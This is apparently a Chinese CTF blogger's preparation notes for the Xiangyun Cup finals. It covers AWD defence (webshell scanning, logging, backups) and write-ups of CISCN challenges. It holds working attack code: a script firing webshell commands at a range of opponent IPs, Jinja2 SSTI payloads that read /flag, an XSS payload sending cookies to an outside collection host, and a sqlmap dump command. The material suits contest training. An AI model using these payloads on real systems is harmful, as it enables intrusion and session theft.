备战祥云杯总决赛

前言

祥云杯线下,队友(V1cuna)让我去打。感谢队友(小组成员)的信任,但是我线上几乎没有输出。因为p1g3师傅太猛了,我都忙着复现去了。所以,去打线下,一方面有点不好意思,二方面有些压力,因为毕竟是大场面。我也是第一次打这种大比赛吧,全是高手。

日程

image-20201207010126323

在比赛前,每天都干CTF了。

还有搬砖,以及期末复习。

总决赛计分规则

总决赛 = CTF赛 + AWD 对抗赛

第一天8小时AWD + 第二天6小时CTF。

image-20201207005937030

Attack With Defense

用的杭电的平台:

请输入管理员账号:
d0g3awd
请输入管理员密码:
d0g3awd

https://github.com/vidar-team/Cardinal/issues/77

2020/12/08 09:40:51 添加管理员账号成功,请妥善保管您的账号密码信息!
2020/12/08 09:40:51 比赛总轮数:6656
2020/12/08 09:40:51 比赛总时长:33280 分钟
2020/12/08 09:40:51 Round 5

启动平台:

1
2
3
service mysqld stop
/usr/bin/mysqld_safe --skip-grant-tables
然后守护进程启动平台即可

AWD

https://xz.aliyun.com/t/6416#toc-1(广东强网杯AWD题目分析)

https://www.cnblogs.com/Rcsec/p/9328011.html(线下AWD套路小结)

https://www.cnblogs.com/HacTF/p/9606589.html(搅屎模式)

https://www.freebuf.com/articles/network/201222.html(AWD攻防赛流程及准备经验,这个网站下面的资源链接更多)

WebShell

  • 在线查杀

https://phpchip.com/

https://scanner.baidu.com/#/pages/intro

  • 本地查杀

D盾、Seay

  • 服务器命令
1
2
3
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('

流量\日志分析

将攻击流量dump下来,分析。

1
sudo tcpdump -s 0 port xxxx -w flow.pcap

有root权限的话:

1
2
3
4
5
6
7
8
9
10
11
12
有root权限
那麽,这样就简单了,直接写在配置中。

vim php.ini

auto_append_file = “/dir/path/phpwaf.php”

重启Apache或者php-fpm就能生效了。

当然也可以写在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file “/dir/path/phpwaf.php”
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";

// log记录
$fh = fopen("/tmp/log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

备份网站源码

防止被删站。。之前去参观安洵杯线下AWD的时候,有一个队就是批量扫除其他选手的网站。让其他选手被check,那么久相当于自己得分咯。

1
2
3
4
5
# 打包目录
tar -zcvf web.tar.gz /var/www/html 备份源码
tar -zcf /tmp/name.tar.gz /path/web
# 解包
tar -zxvf archive_name.tar.gz

备份数据库

针对mysql数据库,如果被搅屎了,数据库也被删了,就算网站有备份也没用啊。因为没数据库文件,网站也不能过check。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
备份
[[email protected] ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
[[email protected] mysql]# mysqldump -u 用户名 -p 数据库名>导出的文件名
mysqldump -u root -p 数据库名>Test0809.sql,输入密码即可。


# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份,在mysql终端下执行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
# 方法1:用SET PASSWORD命令
mysql> set password for 用户名@localhost = password('新密码');
# 方法2:用mysqladmin
mysqladmin -u用户名 -p旧密码 password 新密码

删除后门

有时候权限不够,可能没办法删除,注释掉就行了。

修改其中的地址、shell路径和密码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf-8
import requests
url="http://192.168.71."
url1=""
shell="/Upload/index.php"
passwd="abcde10db05bd4f6a24c94d7edde441d18545"
port="80"
payload = {passwd: 'system(\'cat /flag\');'}
f=open("webshelllist.txt","w")
f1=open("firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]:
url1=url+str(i)+":"+port+shell
try:
res=requests.post(url1,payload,timeout=1)
if res.status_code == requests.codes.ok:
print url1+" connect shell sucess,flag is "+res.text
print >>f1,url1+" connect shell sucess,flag is "+res.text
print >>f,url1+","+passwd
else:
print "shell 404"
except:
print url1+" connect shell fail"

f.close()
f1.close()

http://mang0.me/archis/49b464e6/

  • 处理不死马

kill 进程、删马

1
2
3
4
5
6
7
<?php
while (1) {
$pid=1234;
@unlink('config.php');
exec('kill -9 $pid');
}
?>

前面的大部分都是针对PHP的,下来来看看python和java的。主要是如何修洞。

Python AWD

Java AWD

NodeJS AWD

CTF Jeopardy

Web

[CISCN2019 华东南赛区]Double Secret

  • RC4
  • SSTI

![image-20201207005524605](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20201207005524605.png)

rc4 加密的key:HereIsTreasure

绿色框里面,将 输入的 secret, 进行加密后,模板渲染,那么这里就存在SSTI。具体safe函数如何可以不用管。

在线加解密:https://www.sojson.com/encrypt_rc4.html

WP: https://www.cnblogs.com/h3zh1/p/12653579.html

https://xz.aliyun.com/t/5644

RC4加密算法是一种对称加密算法。所谓对称加密算法,说得直白一点,就是加密与解密的过程一模一样。假设定义RC4的运算过程是rc4(key,data),那么,密文=rc4(key,明文),明文=rc4(key,密文)。这种对称性就是基于秘钥流的加密算法的特征之一,RC4本质上就是一种秘钥流生成算法。其特点就是简单、运行效率高,不会占用过多的CPU,因此常用在很多旧无线网卡的WEP加密。

py加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt

def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

或者

1
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}

[CISCN2019 华东北赛区]Web2

靶机无法访问外网,请使用 xss.buuoj.cn

反馈时请使用 web 来代替地址中的靶机域名。

  • 祖传 CTF md5 验证码。
1
2
3
4
5
6
7
import hashlib

for i in range(1, 10000001):
s = hashlib.md5(str(i)).hexdigest()[0:6]
if s == "f3ff5e":
print(i)
break
  • XSS 打 管理员 cookie、伪造管理员登录。
  • 管理员后台sql注入

网站功能:注册,投稿,投稿会返回链接,反馈,反馈可以带上链接,并且是管理员来审核。明显的XSS。

先尝试一下xss 探测,发现() 变为了中文的()。所以需要用HTML Markup转码

并且是存在CSP的

![image-20201207014942208](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20201207014942208.png)

csp利用跳转绕过姿势:

大部分情况,csp不会限制跳转,CSP如果限制跳转会影响很多的网站功能;或者是script-src 'unsafe-inline';这条规则。
这个地方可以用location跳转:location.href(window.location/window.open)绕过

利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外
  2. csp为script-src 'unsafe-inline';
1
2
3
4
5
6
xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=o9waGH&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

将文章链接复制进去反馈提交,xss 平台收到cookie。

![image-20201207095651597](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20201207095651597.png)

1
──> python3 sqlmap.py -u "http://e802dd5d-b07e-4f2b-8596-6276e5fe7682.node3.buuoj.cn/admin.php?id=1" --cookie="PHPSESSID=2690bd948c1aa895e2fc6cfff3cf09a3" -T flag --dump --flush-session --fresh-queries

![image-20201207095633362](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20201207095633362.png)

这里有个坑,就是在提交链接的时候,要改一下,不能直接复制链接进去。要改为

1
http://web/post/8ca25c72652829840967218a239ee6bb.html

这样的才行。。。


参考 glzjin师傅wp

https://www.zhaoj.in/read-6100.html

csp绕过,cl4y师傅:https://xz.aliyun.com/t/7372#toc-4

Misc

流量分析

取证分析

Author: m0nk3y
Link: https://hack-for.fun/4ca3.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.